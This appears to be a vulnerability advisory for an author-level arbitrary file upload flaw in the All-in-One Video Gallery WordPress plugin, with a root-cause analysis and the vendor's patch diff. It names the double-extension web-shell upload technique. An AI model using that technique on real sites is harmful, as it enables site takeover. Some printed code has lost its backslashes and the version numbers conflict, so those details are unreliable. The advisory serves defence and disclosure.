Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-12957: All-in-One Video Gallery <= 4.5.7 – Authenticated (Author+) Arbitrary File Upload via VTT Upload Bypass (all-in-one-video-gallery)

Severity High (CVSS 8.8)
CWE 434
Vulnerable Version 4.5.7
Patched Version 4.6.4
Disclosed January 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-12957:
The All-in-One Video Gallery WordPress plugin contains an authenticated arbitrary file upload vulnerability affecting versions up to and including 4.5.7. The vulnerability exists in the plugin’s subtitle file upload functionality, specifically in the handling of WebVTT (.vtt) files. Attackers with author-level privileges or higher can bypass file type validation to upload malicious files with double extensions, potentially leading to remote code execution. The CVSS score of 8.8 reflects the high impact of this vulnerability.

Atomic Edge research identifies the root cause in the plugin’s file type validation logic within the `add_filetype_and_ext` function in `/all-in-one-video-gallery/admin/admin.php`. The vulnerable code at lines 965-972 uses a simple string search (`strpos($filename, ‘.vtt’)`) to detect VTT files. This approach fails to properly validate file extensions, allowing files with names like `malicious.php.vtt` to pass as valid VTT files. The function then sets the file type to `text/vtt` regardless of the actual file content or complete extension pattern.

The exploitation method requires an authenticated attacker with at least author-level permissions. Attackers can upload files through the plugin’s subtitle upload functionality, typically accessible when adding or editing video content. The attack payload uses double extension files such as `shell.php.vtt` where the `.vtt` extension tricks the validation while the `.php` extension ensures server-side execution. The plugin’s `wp_handle_upload_prefilter` function in vulnerable versions lacks proper MIME type verification and file structure validation for VTT files, enabling the bypass.

The patch in version 4.5.8 introduces comprehensive validation through the new `wp_handle_upload_prefilter` function at lines 995-1050. The fix implements multiple security layers: real MIME type detection using `finfo_open` with allowed MIME types list (`text/vtt`, `application/x-subrip`, `text/srt`, `text/plain`), file structure validation requiring VTT files to start with `WEBVTT`, and SRT file validation requiring proper SubRip formatting. The updated `add_filetype_and_ext` function now uses `wp_check_filetype` for proper extension detection instead of simple string matching.

Successful exploitation allows attackers to upload arbitrary files, including PHP scripts, to the WordPress uploads directory. This enables remote code execution with the web server’s privileges, potentially leading to complete site compromise, data theft, backdoor installation, and server-side attacks. The author-level access requirement reduces the attack surface but remains significant given WordPress’s typical user hierarchy where authors can create and edit their own content.

Differential between vulnerable and patched code

Code Diff
--- a/all-in-one-video-gallery/admin/admin.php
+++ b/all-in-one-video-gallery/admin/admin.php
@@ -34,7 +34,12 @@
 			update_option( 'aiovg_version', AIOVG_PLUGIN_VERSION );

 			// Insert the missing player settings
-			$player_settings = get_option( 'aiovg_player_settings', array() );
+			$player_settings = get_option( 'aiovg_player_settings' );
+
+			if ( ! is_array( $player_settings ) || empty( $player_settings ) ) {
+				$player_settings = $defaults['aiovg_player_settings'];
+				update_option( 'aiovg_player_settings', $player_settings );
+			}

 			$new_player_settings = array();

@@ -76,8 +81,18 @@
 			}

 			// Insert the missing videos settings
-			$videos_settings = get_option( 'aiovg_videos_settings', array() );
-			$image_settings  = get_option( 'aiovg_image_settings', array() );
+			$videos_settings = get_option( 'aiovg_videos_settings' );
+
+			if ( ! is_array( $videos_settings ) || empty( $videos_settings ) ) {
+				$videos_settings = $defaults['aiovg_videos_settings'];
+				update_option( 'aiovg_videos_settings', $videos_settings );
+			}
+
+			$image_settings = get_option( 'aiovg_image_settings' );
+
+			if ( ! is_array( $image_settings ) || empty( $image_settings ) ) {
+				$image_settings = array();
+			}

 			$new_videos_settings = array();

@@ -99,7 +114,12 @@
 			}

 			// Insert the missing categories settings
-			$categories_settings = get_option( 'aiovg_categories_settings', array() );
+			$categories_settings = get_option( 'aiovg_categories_settings' );
+
+			if ( ! is_array( $categories_settings ) || empty( $categories_settings ) ) {
+				$categories_settings = $defaults['aiovg_categories_settings'];
+				update_option( 'aiovg_categories_settings', $categories_settings );
+			}

 			$new_categories_settings = array();

@@ -128,7 +148,12 @@
 			}

 			// Insert the missing video settings
-			$video_settings = get_option( 'aiovg_video_settings', array() );
+			$video_settings = get_option( 'aiovg_video_settings' );
+
+			if ( ! is_array( $video_settings ) || empty( $video_settings ) ) {
+				$video_settings = $defaults['aiovg_video_settings'];
+				update_option( 'aiovg_video_settings', $video_settings );
+			}

 			$new_video_settings = array();

@@ -146,7 +171,9 @@
 			}

 			// Insert the images settings
-			if ( false === get_option( 'aiovg_images_settings' ) ) {
+			$images_settings = get_option( 'aiovg_images_settings' );
+
+			if ( ! is_array( $images_settings ) || empty( $images_settings ) ) {
 				$images_settings = array(
 					'width' => $defaults['aiovg_images_settings']['width'],
 					'ratio' => $defaults['aiovg_images_settings']['ratio'],
@@ -161,30 +188,40 @@
 					$images_settings['ratio'] = $videos_settings['ratio'];
 				}

-				add_option( 'aiovg_images_settings', $images_settings );
+				update_option( 'aiovg_images_settings', $images_settings );
 			}

 			// Insert the featured images settings
-			if ( false === get_option( 'aiovg_featured_images_settings' ) ) {
-				add_option( 'aiovg_featured_images_settings', array(
+			$featured_images_settings = get_option( 'aiovg_featured_images_settings' );
+
+			if ( ! is_array( $featured_images_settings ) || empty( $featured_images_settings ) ) {
+				$featured_images_settings = array(
 					'enabled'                    => $defaults['aiovg_featured_images_settings']['enabled'],
 					'download_external_images'   => $defaults['aiovg_featured_images_settings']['download_external_images'],
 					'hide_on_single_video_pages' => $defaults['aiovg_featured_images_settings']['hide_on_single_video_pages']
-				));
+				);
+
+				update_option( 'aiovg_featured_images_settings', $featured_images_settings );
 			}

 			// Insert the likes / dislikes settings
-			if ( false === get_option( 'aiovg_likes_settings' ) ) {
-				add_option( 'aiovg_likes_settings', array(
+			$likes_settings = get_option( 'aiovg_likes_settings' );
+
+			if ( ! is_array( $likes_settings ) || empty( $likes_settings ) ) {
+				$likes_settings = array(
 					'like_button'            => $defaults['aiovg_likes_settings']['like_button'],
 					'dislike_button'         => $defaults['aiovg_likes_settings']['dislike_button'],
 					'login_required_to_vote' => $defaults['aiovg_likes_settings']['login_required_to_vote']
-				));
+				);
+
+				update_option( 'aiovg_likes_settings', $likes_settings );
 			}

 			// Insert the related videos settings
-			if ( false === get_option( 'aiovg_related_videos_settings' ) ) {
-				add_option( 'aiovg_related_videos_settings', array(
+			$related_videos_settings = get_option( 'aiovg_related_videos_settings' );
+
+			if ( ! is_array( $related_videos_settings ) || empty( $related_videos_settings ) ) {
+				$related_videos_settings = array(
 					'title'   => $defaults['aiovg_related_videos_settings']['title'],
 					'columns' => isset( $videos_settings['columns'] ) ? $videos_settings['columns'] : $defaults['aiovg_videos_settings']['columns'],
 					'limit'   => isset( $videos_settings['limit'] ) ? $videos_settings['limit'] : $defaults['aiovg_videos_settings']['limit'],
@@ -193,23 +230,28 @@
 					'display' => array(
 						'pagination' => 'pagination'
 					)
-				) );
-			} else {
-				$related_videos_settings = get_option( 'aiovg_related_videos_settings', array() );
+				);

-				$new_related_videos_settings = array();
+				update_option( 'aiovg_related_videos_settings', $related_videos_settings );
+			}

-				if ( ! array_key_exists( 'title', $related_videos_settings ) ) {
-					$new_related_videos_settings['title'] = __( 'You may also like', 'all-in-one-video-gallery' );
-				}
+			$new_related_videos_settings = array();

-				if ( count( $new_related_videos_settings ) ) {
-					update_option( 'aiovg_related_videos_settings', array_merge( $related_videos_settings, $new_related_videos_settings ) );
-				}
+			if ( ! array_key_exists( 'title', $related_videos_settings ) ) {
+				$new_related_videos_settings['title'] = __( 'You may also like', 'all-in-one-video-gallery' );
+			}
+
+			if ( count( $new_related_videos_settings ) ) {
+				update_option( 'aiovg_related_videos_settings', array_merge( $related_videos_settings, $new_related_videos_settings ) );
 			}

 			// Insert the missing socialshare settings
-			$socialshare_settings = get_option( 'aiovg_socialshare_settings', array() );
+			$socialshare_settings = get_option( 'aiovg_socialshare_settings' );
+
+			if ( ! is_array( $socialshare_settings ) || empty( $socialshare_settings ) ) {
+				$socialshare_settings = $defaults['aiovg_socialshare_settings'];
+				update_option( 'aiovg_socialshare_settings', $socialshare_settings );
+			}

 			$new_socialshare_settings = array();

@@ -226,7 +268,12 @@
 			}

 			// Insert the missing general settings
-			$general_settings = get_option( 'aiovg_general_settings', array() );
+			$general_settings = get_option( 'aiovg_general_settings' );
+
+			if ( ! is_array( $general_settings ) || empty( $general_settings ) ) {
+				$general_settings = $defaults['aiovg_general_settings'];
+				update_option( 'aiovg_general_settings', $general_settings );
+			}

 			$new_general_settings = array();

@@ -251,19 +298,30 @@
 			}

 			// Insert the api settings
-			if ( false === get_option( 'aiovg_api_settings' ) ) {
-				$automations_settings = get_option( 'aiovg_automations_settings', array() );
+			$api_settings = get_option( 'aiovg_api_settings' );
+
+			if ( ! is_array( $api_settings ) || empty( $api_settings ) ) {
+				$automations_settings = get_option( 'aiovg_automations_settings' );
+
+				if ( ! is_array( $automations_settings ) || empty( $automations_settings ) ) {
+					$automations_settings = array();
+				}

 				$defaults = array(
 					'youtube_api_key'    => isset( $automations_settings['youtube_api_key'] ) ? $automations_settings['youtube_api_key'] : '',
 					'vimeo_access_token' => isset( $general_settings['vimeo_access_token'] ) ? $general_settings['vimeo_access_token'] : ''
 				);

-				add_option( 'aiovg_api_settings', $defaults );
+				update_option( 'aiovg_api_settings', $defaults );
 			}

 			// Insert the missing page settings
-			$page_settings = get_option( 'aiovg_page_settings', array() );
+			$page_settings = get_option( 'aiovg_page_settings' );
+
+			if ( ! is_array( $page_settings ) || empty( $page_settings ) ) {
+				$page_settings = $defaults['aiovg_page_settings'];
+				update_option( 'aiovg_page_settings', $page_settings );
+			}

 			if ( ! array_key_exists( 'tag', $page_settings ) ) {
 				aiovg_insert_missing_pages();
@@ -272,24 +330,29 @@
 			// Insert / Update the restrictions settings
 			$restrictions_settings = get_option( 'aiovg_restrictions_settings' );

-			if ( false === $restrictions_settings ) {
-				add_option( 'aiovg_restrictions_settings', $defaults['aiovg_restrictions_settings'] );
-			} else {
-				$restrictions_settings = (array) $restrictions_settings;
+			if ( ! is_array( $restrictions_settings ) || empty( $restrictions_settings ) ) {
+				$restrictions_settings = $defaults['aiovg_restrictions_settings'];
+				update_option( 'aiovg_restrictions_settings', $restrictions_settings );
+			}

-				if ( ! array_key_exists( 'show_restricted_label', $restrictions_settings ) ) {
-					update_option( 'aiovg_restrictions_settings', array_merge( $defaults['aiovg_restrictions_settings'], $restrictions_settings ) );
-				}
+			if ( ! array_key_exists( 'show_restricted_label', $restrictions_settings ) ) {
+				update_option( 'aiovg_restrictions_settings', array_merge( $defaults['aiovg_restrictions_settings'], $restrictions_settings ) );
 			}

-			// Insert the privacy settings
-			if ( false === get_option( 'aiovg_privacy_settings' ) ) {
-				add_option( 'aiovg_privacy_settings', $defaults['aiovg_privacy_settings'] );
+			// Insert the privacy settings
+			$privacy_settings = get_option( 'aiovg_privacy_settings' );
+
+			if ( ! is_array( $privacy_settings ) || empty( $privacy_settings ) ) {
+				$privacy_settings = $defaults['aiovg_privacy_settings'];
+				update_option( 'aiovg_privacy_settings', $privacy_settings );
 			}

 			// Insert the bunny stream settings
-			if ( false === get_option( 'aiovg_bunny_stream_settings' ) ) {
-				add_option( 'aiovg_bunny_stream_settings', $defaults['aiovg_bunny_stream_settings'] );
+			$bunny_stream_settings = get_option( 'aiovg_bunny_stream_settings' );
+
+			if ( ! is_array( $bunny_stream_settings ) || empty( $bunny_stream_settings ) ) {
+				$bunny_stream_settings = $defaults['aiovg_bunny_stream_settings'];
+				update_option( 'aiovg_bunny_stream_settings', $bunny_stream_settings );
 			}

 			// Delete the unwanted plugin options
@@ -419,7 +482,7 @@

 		foreach ( $pages as $key => $page ) {
 			$issue_found = 0;
-			$post_id = $page_settings[ $key ];
+			$post_id = isset( $page_settings[ $key ] ) ? $page_settings[ $key ] : 0;

 			$pattern = '';
 			if ( ! empty( $pages[ $key ]['content'] ) ) {
@@ -479,7 +542,7 @@

 					foreach ( $pages as $key => $page ) {
 						$issue_found = 0;
-						$post_id = $page_settings[ $key ];
+						$post_id = isset( $page_settings[ $key ] ) ? $page_settings[ $key ] : 0;

 						$pattern = '';
 						if ( ! empty( $pages[ $key ]['content'] ) ) {
@@ -869,25 +932,129 @@
 	}

 	/**
-	 * Sets the extension and mime type for .vtt files.
+	 * Extend MIME type recognition for media and streaming files.
+	 *
+	 * Adds support for WebVTT (.vtt) and SRT (.srt) subtitle uploads,
+	 * and registers MIME types for HLS (.m3u8) and MPEG-DASH (.mpd)
+	 * playlist files to ensure proper file type validation within WordPress.
+	 * The HLS and DASH file types are not permitted for upload, but are
+	 * recognized to avoid MIME type mismatches during playback or external
+	 * media reference checks.
+	 *
+	 * @since  3.0.0
+	 * @param  array $mimes Array of allowed mime types.
+	 * @return array        Filtered mime types array.
+	 */
+	public function add_mime_types( $mimes ) {
+		$mimes['vtt']  = 'text/vtt';
+		$mimes['srt']  = 'application/x-subrip';
+		$mimes['m3u8'] = 'application/x-mpegurl';
+		$mimes['mpd']  = 'application/dash+xml';
+
+		return $mimes;
+	}
+
+	/**
+	 * Ensure WordPress properly recognizes .vtt and .srt files.
 	 *
 	 * @since  1.5.7
 	 * @param  array  $types    File data array containing 'ext', 'type', and 'proper_filename' keys.
-     * @param  string $file     Full path to the file.
-     * @param  string $filename The name of the file (may differ from $file due to $file being in a tmp directory).
-     * @param  array  $mimes    Key is the file extension with value as the mime type.
+	 * @param  string $file     Full path to the file.
+	 * @param  string $filename The name of the file (may differ from $file due to $filename being in a tmp directory).
+	 * @param  array  $mimes    Key is the file extension with value as the mime type.
 	 * @return array  $types    Filtered file data array.
 	 */
 	public function add_filetype_and_ext( $types, $file, $filename, $mimes ) {
-		if ( false !== strpos( $filename, '.vtt' ) ) {
+		$type = wp_check_filetype( $filename, $mimes );
+
+		if ( 'vtt' === $type['ext'] ) {
 			$types['ext']  = 'vtt';
 			$types['type'] = 'text/vtt';
 		}
+
+		if ( 'srt' === $type['ext'] ) {
+			$types['ext'] = 'srt';
+
+			// Prioritize standard MIME but fall back safely
+			if ( in_array( $type['type'], array( 'application/x-subrip', 'text/srt', 'text/plain' ) ) ) {
+				$types['type'] = $type['type']; // Use whichever the server assigns
+			} else {
+				$types['type'] = 'application/x-subrip'; // Safe default
+			}
+		}

 		return $types;
 	}

 	/**
+	 * Validate uploaded WebVTT (.vtt) and SubRip (.srt) subtitle files.
+	 *
+	 * Uses real MIME detection via finfo (preferred and more secure).
+	 * Falls back to structure-based validation if finfo is unavailable.
+	 *
+	 * @since  4.5.8
+	 * @param  array $file Reference to a single element from the `$_FILES` array.
+	 * @return array       Modified file array or error response.
+	 */
+	public function wp_handle_upload_prefilter( $file ) {
+		$filename = strtolower( $file['name'] );
+
+		// Only handle VTT/SRT uploads
+		if ( ! str_ends_with( $filename, '.vtt' ) && ! str_ends_with( $filename, '.srt' ) ) {
+			return $file;
+		}
+
+		// Real MIME detection
+		if ( function_exists( 'finfo_open' ) ) {
+			$finfo     = finfo_open( FILEINFO_MIME_TYPE );
+			$real_mime = finfo_file( $finfo, $file['tmp_name'] );
+			finfo_close( $finfo );
+
+			$allowed_mimes = array(
+				'text/vtt',
+				'application/x-subrip',
+				'text/srt',
+				'text/plain'
+			);
+
+			if ( ! in_array( $real_mime, $allowed_mimes, true ) ) {
+				$file['error'] = __( 'Upload blocked — file MIME type is not a valid subtitle format.', 'all-in-one-video-gallery' );
+				return $file;
+			}
+
+			return $file; // MIME safe — no further checks needed
+		}
+
+		// Fallback — Subtitle structure validation
+		if ( str_ends_with( $filename, '.vtt' ) ) {
+			$handle = fopen( $file['tmp_name'], 'r' );
+			$first_line = trim( fgets( $handle ) );
+			fclose( $handle );
+
+			if ( strpos( $first_line, 'WEBVTT' ) !== 0 ) {
+				$file['error'] = __( 'Invalid WebVTT file — must start with "WEBVTT".', 'all-in-one-video-gallery' );
+			}
+		}
+
+		// Fallback Validate SRT
+		if ( str_ends_with( $filename, '.srt' ) ) {
+			$handle = fopen( $file['tmp_name'], 'r' );
+			$first_line  = trim( fgets( $handle ) );
+			$second_line = trim( fgets( $handle ) );
+			fclose( $handle );
+
+			$valid_index = preg_match( '/^d+$/', $first_line );
+			$valid_time  = preg_match( '/^d{2}:d{2}:d{2},d{3} --> d{2}:d{2}:d{2},d{3}$/', $second_line );
+
+			if ( ! $valid_index || ! $valid_time ) {
+				$file['error'] = __( 'Invalid SRT file — does not follow standard SubRip formatting.', 'all-in-one-video-gallery' );
+			}
+		}
+
+		return $file;
+	}
+
+	/**
 	 * Store user meta.
 	 *
 	 * @since 4.0.1
--- a/all-in-one-video-gallery/admin/categories.php
+++ b/all-in-one-video-gallery/admin/categories.php
@@ -166,6 +166,8 @@
 	 * @return array $columns Updated list of table columns.
 	 */
 	public function get_columns( $columns ) {
+		unset( $columns['slug'] );
+
 		$columns = aiovg_insert_array_after( 'cb', $columns, array(
 			'image' => ''
 		));
--- a/all-in-one-video-gallery/admin/import-export.php
+++ b/all-in-one-video-gallery/admin/import-export.php
@@ -63,8 +63,15 @@
 	 * @since 4.5.2
 	 */
 	public function ajax_callback_import_folder() {
+		@set_time_limit( 1200 );
+		ignore_user_abort( true );
+
 		check_ajax_referer( 'aiovg_ajax_nonce', 'security' ); // Verify the nonce for security

+		if ( ! current_user_can( 'manage_aiovg_options' ) ) {
+			wp_send_json_error( array( 'error' => esc_html__( 'You do not have sufficient permissions to do this action.', 'all-in-one-video-gallery' ) ) );
+		}
+
 		$response = array();

 		// Sanitize and extract folder path
@@ -254,8 +261,15 @@
 	 * @since 4.5.2
 	 */
 	public function ajax_callback_import_csv() {
+		@set_time_limit( 1200 );
+		ignore_user_abort( true );
+
 		check_ajax_referer( 'aiovg_ajax_nonce', 'security' ); // Verify the nonce for security

+		if ( ! current_user_can( 'manage_aiovg_options' ) ) {
+			wp_send_json_error( array( 'error' => esc_html__( 'You do not have sufficient permissions to do this action.', 'all-in-one-video-gallery' ) ) );
+		}
+
 		// Sanitize and extract parameters
 		$csv_file           = isset( $_POST['csv_file'] ) ? esc_url_raw( $_POST['csv_file'] ) : '';
 		$zip_file           = isset( $_POST['zip_file'] ) ? sanitize_text_field( wp_unslash( $_POST['zip_file'] ) ) : '';
@@ -415,6 +429,10 @@
 	public function ajax_callback_get_csv_columns() {
 		check_ajax_referer( 'aiovg_ajax_nonce', 'security' ); // Verify the nonce for security

+		if ( ! current_user_can( 'manage_aiovg_options' ) ) {
+			wp_send_json_error( array( 'error' => esc_html__( 'You do not have sufficient permissions to do this action.', 'all-in-one-video-gallery' ) ) );
+		}
+
 		// Sanitize and extract parameters.
 		$csv_file          = isset( $_POST['csv_file'] ) ? esc_url_raw( $_POST['csv_file'] ) : '';
 		$columns_separator = isset( $_POST['columns_separator'] ) ? sanitize_text_field( $_POST['columns_separator'] ) : ',';
@@ -478,8 +496,15 @@
 	 * @since 4.5.2
 	 */
 	public function ajax_callback_export_csv() {
+		@set_time_limit( 1200 );
+		ignore_user_abort( true );
+
 		check_ajax_referer( 'aiovg_ajax_nonce', 'security' ); // Verify the nonce for security

+		if ( ! current_user_can( 'manage_aiovg_options' ) ) {
+			wp_send_json_error( array( 'error' => esc_html__( 'You do not have sufficient permissions to do this action.', 'all-in-one-video-gallery' ) ) );
+		}
+
 		// Sanitize and extract parameters
 		$offset    = isset( $_POST['offset'] ) ? (int) $_POST['offset'] : 0;
 		$limit     = isset( $_POST['limit'] ) ? (int) $_POST['limit'] : 200;
@@ -786,8 +811,15 @@
 	 * @since 4.5.2
 	 */
 	public function ajax_callback_export_zip() {
+		@set_time_limit( 1200 );
+		ignore_user_abort( true );
+
 		check_ajax_referer( 'aiovg_ajax_nonce', 'security' ); // Verify the nonce for security

+		if ( ! current_user_can( 'manage_aiovg_options' ) ) {
+			wp_send_json_error( array( 'error' => esc_html__( 'You do not have sufficient permissions to do this action.', 'all-in-one-video-gallery' ) ) );
+		}
+
 		if ( ! class_exists( 'ZipArchive' ) ) {
 			wp_send_json_error( array( 'error' => __( 'ZIP creation is not supported on your server. This feature requires the PHP "ZipArchive" class. Please ask your hosting provider to enable the PHP ZIP extension, or upgrade PHP to a version that includes it.', 'all-in-one-video-gallery' ) ) );
 		}
@@ -1247,12 +1279,57 @@
 			return new WP_Error( 'mkdir_failed', __( 'Sorry, we were unable to create the import directory. Please check your folder permissions and try again.', 'all-in-one-video-gallery' ) );
 		}

+		// Create protection files safely inside the extract path
+		$htaccess_file   = trailingslashit( $extract_path ) . '.htaccess';
+		$webconfig_file  = trailingslashit( $extract_path ) . 'web.config';
+		$htaccess_rules  = "Deny from alln";
+		$webconfig_rules = "<?xml version="1.0" encoding="UTF-8"?>n"
+			. "<configuration>n"
+			. "t<system.webServer>n"
+			. "tt<authorization>n"
+			. "ttt<deny users="*" />n"
+			. "tt</authorization>n"
+			. "t</system.webServer>n"
+			. "</configuration>";
+
+		if ( false === @file_put_contents( $htaccess_file, $htaccess_rules ) ) {
+			return new WP_Error( 'file_write_failed', __( 'We were unable to complete a required file operation. Please make sure your server allows writing files.', 'all-in-one-video-gallery' ) );
+		}
+
+		if ( false === @file_put_contents( $webconfig_file, $webconfig_rules ) ) {
+			return new WP_Error( 'file_write_failed', __( 'We were unable to complete a required file operation. Please make sure your server allows writing files.', 'all-in-one-video-gallery' ) );
+		}
+
+		// Unzip
 		$unzip_result = unzip_file( $zip_file_path, $extract_path );

 		if ( is_wp_error( $unzip_result ) ) {
+			// Remove protection files before returning
+			@unlink( $htaccess_file );
+			@unlink( $webconfig_file );
+
 			return $unzip_result;
 		}

+		// Keep only files allowed by WordPress MIME validation
+		$iterator = new RecursiveIteratorIterator(
+			new RecursiveDirectoryIterator( $extract_path, RecursiveDirectoryIterator::SKIP_DOTS ),
+			RecursiveIteratorIterator::CHILD_FIRST
+		);
+
+		foreach ( $iterator as $file ) {
+			if ( $file->isFile() ) {
+				$filetype = wp_check_filetype( $file->getFilename() );
+				if ( empty( $filetype['type'] ) ) {
+					@unlink( $file->getPathname() );
+				}
+			}
+		}
+
+		// Security cleanup
+		@unlink( $htaccess_file );
+		@unlink( $webconfig_file );
+
 		return untrailingslashit( $extract_path );
 	}

@@ -1297,8 +1374,6 @@
 	 * @return array   $response   Array containing import results.
      */
 	private function import_videos_from_folder( $videos, $attributes = array() ) {
-		set_time_limit( 1200 );
-
 		$response = array(
 			'total'    => count( $videos ),
 			'imported' => array(),
@@ -1404,8 +1479,6 @@
 	 * @return array   $response   Array containing import results.
      */
 	private function import_videos_from_csv( $videos, $attributes = array() ) {
-		set_time_limit( 1200 );
-
 		$response = array(
 			'total'    => count( $videos ),
 			'imported' => array(),
--- a/all-in-one-video-gallery/admin/settings.php
+++ b/all-in-one-video-gallery/admin/settings.php
@@ -312,7 +312,7 @@
                     'name'              => 'ratio',
                     'label'             => __( 'Height (Ratio)', 'all-in-one-video-gallery' ),
                     'description'       => sprintf(
-						'%s<br /><br /><strong>%s:</strong><br />"56.25" - %s<br />"62.5" - %s<br />"75" - %s<br />"67" - %s<br />"100" - %s<br />"41.7" - %s',
+						'%s<br /><br /><ul class="aiovg-no-margin"><li><strong>%s:</strong></li><li>"56.25" - %s</li><li>"62.5" - %s</li><li>"75" - %s</li><li>"67" - %s</li><li>"100" - %s</li><li>"41.7" - %s</li></ul>',
 						__( "In percentage. 1 to 100. Calculate player's height using the ratio value entered.", 'all-in-one-video-gallery' ),
 						__( 'Examples', 'all-in-one-video-gallery' ),
 						__( 'Wide Screen TV', 'all-in-one-video-gallery' ),
@@ -350,7 +350,7 @@
                     'name'              => 'preload',
                     'label'             => __( 'Preload', 'all-in-one-video-gallery' ),
                     'description'       => sprintf(
-						'%s<br /><br />%s<br />%s<br />%s',
+						'%s<br /><br /><ul class="aiovg-no-margin"><li>%s</li><li>%s</li><li>%s</li></ul>',
 						__( 'Specifies if and how the video should be loaded when the page loads.', 'all-in-one-video-gallery' ),
 						__( '"Auto" - The video should be loaded entirely when the page loads', 'all-in-one-video-gallery' ),
 						__( '"Metadata" - Only metadata should be loaded when the page loads', 'all-in-one-video-gallery' ),
@@ -401,7 +401,7 @@
                     'name'              => 'hotkeys',
                     'label'             => __( 'Keyboard Hotkeys', 'all-in-one-video-gallery' ),
                     'description'       => sprintf(
-						'%s<br /><br />%s<br />%s<br />%s<br />%s<br />%s<br />%s<br />%s',
+						'%s<br /><br /><ul class="aiovg-no-margin"><li>%s</li><li>%s</li><li>%s</li><li>%s</li><li>%s</li><li>%s</li><li>%s</li></ul>',
                         __( 'Check this option to enable keyboard shortcuts to control the player.', 'all-in-one-video-gallery' ),
 						__( '"Spacebar" - Toggles between Play and Pause.', 'all-in-one-video-gallery' ),
 						__( '"Left Arrow" - Rewinds the video.', 'all-in-one-video-gallery' ),
@@ -1303,7 +1303,7 @@
         $type        = isset( $args['type'] ) ? $args['type'] : 'text';
         $placeholder = empty( $args['placeholder'] ) ? '' : ' placeholder="' . $args['placeholder'] . '"';

-        $html        = sprintf( '<input type="%1$s" class="%2$s-text" id="%3$s[%4$s]" name="%3$s[%4$s]" value="%5$s"%6$s/>', $type, $size, $args['section'], $args['id'], $value, $placeholder );
+        $html        = sprintf( '<input type="%1$s" class="%2$s-text widefat" id="%3$s[%4$s]" name="%3$s[%4$s]" value="%5$s"%6$s/>', $type, $size, $args['section'], $args['id'], $value, $placeholder );
         $html       .= $this->get_field_description( $args );

         echo $html;
@@ -1334,7 +1334,7 @@
         $max         = empty( $args['max'] ) ? '' : ' max="' . $args['max'] . '"';
         $step        = empty( $args['max'] ) ? '' : ' step="' . $args['step'] . '"';

-        $html        = sprintf( '<input type="%1$s" class="%2$s-number" id="%3$s[%4$s]" name="%3$s[%4$s]" value="%5$s"%6$s%7$s%8$s%9$s/>', $type, $size, $args['section'], $args['id'], $value, $placeholder, $min, $max, $step );
+        $html        = sprintf( '<input type="%1$s" class="%2$s-number widefat" id="%3$s[%4$s]" name="%3$s[%4$s]" value="%5$s"%6$s%7$s%8$s%9$s/>', $type, $size, $args['section'], $args['id'], $value, $placeholder, $min, $max, $step );
         $html       .= $this->get_field_description( $args );

         echo $html;
--- a/all-in-one-video-gallery/admin/tags.php
+++ b/all-in-one-video-gallery/admin/tags.php
@@ -119,7 +119,9 @@
 	 * @param  array $columns Array of default table columns.
 	 * @return array $columns Updated list of table columns.
 	 */
-	public function get_columns( $columns ) {
+	public function get_columns( $columns ) {
+		unset( $columns['slug'] );
+
 		$columns['tax_id'] = __( 'ID', 'all-in-one-video-gallery' );
     	return $columns;
 	}
--- a/all-in-one-video-gallery/admin/videos.php
+++ b/all-in-one-video-gallery/admin/videos.php
@@ -263,21 +263,21 @@

 				$mp4 = isset( $_POST['mp4'] ) ? aiovg_sanitize_url( $_POST['mp4'] ) : '';
 				update_post_meta( $post_id, 'mp4', $mp4 );
-				update_post_meta( $post_id, 'mp4_id', attachment_url_to_postid( $mp4, 'video' ) );
+				update_post_meta( $post_id, 'mp4_id', attachment_url_to_postid( $mp4 ) );

 				$has_webm = isset( $_POST['has_webm'] ) ? 1 : 0;
 				update_post_meta( $post_id, 'has_webm', $has_webm );

 				$webm = isset( $_POST['webm'] ) ? aiovg_sanitize_url( $_POST['webm'] ) : '';
 				update_post_meta( $post_id, 'webm', $webm );
-				update_post_meta( $post_id, 'webm_id', attachment_url_to_postid( $webm, 'video' ) );
+				update_post_meta( $post_id, 'webm_id', attachment_url_to_postid( $webm ) );

 				$has_ogv = isset( $_POST['has_ogv'] ) ? 1 : 0;
 				update_post_meta( $post_id, 'has_ogv', $has_ogv );

 				$ogv = isset( $_POST['ogv'] ) ? aiovg_sanitize_url( $_POST['ogv'] ) : '';
 				update_post_meta( $post_id, 'ogv', $ogv );
-				update_post_meta( $post_id, 'ogv_id', attachment_url_to_postid( $ogv, 'video' ) );
+				update_post_meta( $post_id, 'ogv_id', attachment_url_to_postid( $ogv ) );

 				$quality_level = isset( $_POST['quality_level'] ) ? sanitize_text_field( $_POST['quality_level'] ) : '';
 				update_post_meta( $post_id, 'quality_level', $quality_level );
@@ -291,8 +291,9 @@
 					foreach ( $sources as $index => $source ) {
 						if ( ! empty( $source ) && ! empty( $quality_levels[ $index ] ) ) {
 							$values[] = array(
-								'quality' => $quality_levels[ $index ],
-								'src'     => $source
+								'src'     => $source,
+								'src_id'  => attachment_url_to_postid( $source ),
+								'quality' => $quality_levels[ $index ]
 							);
 						}
 					}
@@ -364,7 +365,7 @@

 				if ( ! empty( $_POST['image'] ) ) {
 					$image    = aiovg_sanitize_url( $_POST['image'] );
-					$image_id = attachment_url_to_postid( $image, 'image' );
+					$image_id = attachment_url_to_postid( $image );
 				} else {
 					if ( 'youtube' == $type && ! empty( $youtube ) ) {
 						$image = aiovg_get_youtube_image_url( $youtube );
@@ -426,7 +427,7 @@
 					foreach ( $sources as $key => $source ) {
 						$track = array(
 							'src'     => aiovg_sanitize_url( $source ),
-							'src_id'  => attachment_url_to_postid( $source, 'track' ),
+							'src_id'  => attachment_url_to_postid( $source ),
 							'label'   => sanitize_text_field( $_POST['track_label'][ $key ] ),
 							'srclang' => sanitize_text_field( $_POST['track_srclang'][ $key ] )
 						);
@@ -808,7 +809,7 @@
 		));

 		$columns = aiovg_insert_array_after( 'taxonomy-aiovg_tags', $columns, array(
-			'post_meta' => __( 'Additional Info', 'all-in-one-video-gallery' ),
+			'post_meta' => __( 'Stats', 'all-in-one-video-gallery' ),
 			'post_id'   => __( 'ID', 'all-in-one-video-gallery' )
 		));

--- a/all-in-one-video-gallery/all-in-one-video-gallery.php
+++ b/all-in-one-video-gallery/all-in-one-video-gallery.php
@@ -11,7 +11,7 @@
  * Plugin Name:     All-in-One Video Gallery
  * Plugin URI:      https://plugins360.com/all-in-one-video-gallery/
  * Description:     An ultimate video player and video gallery plugin – no coding required. Suitable for YouTubers, Video Bloggers, Course Creators, Podcasters, Sales & Marketing Professionals, and anyone using video on a website.
- * Version:         4.5.7
+ * Version:         4.6.4
  * Author:          Team Plugins360
  * Author URI:      https://plugins360.com
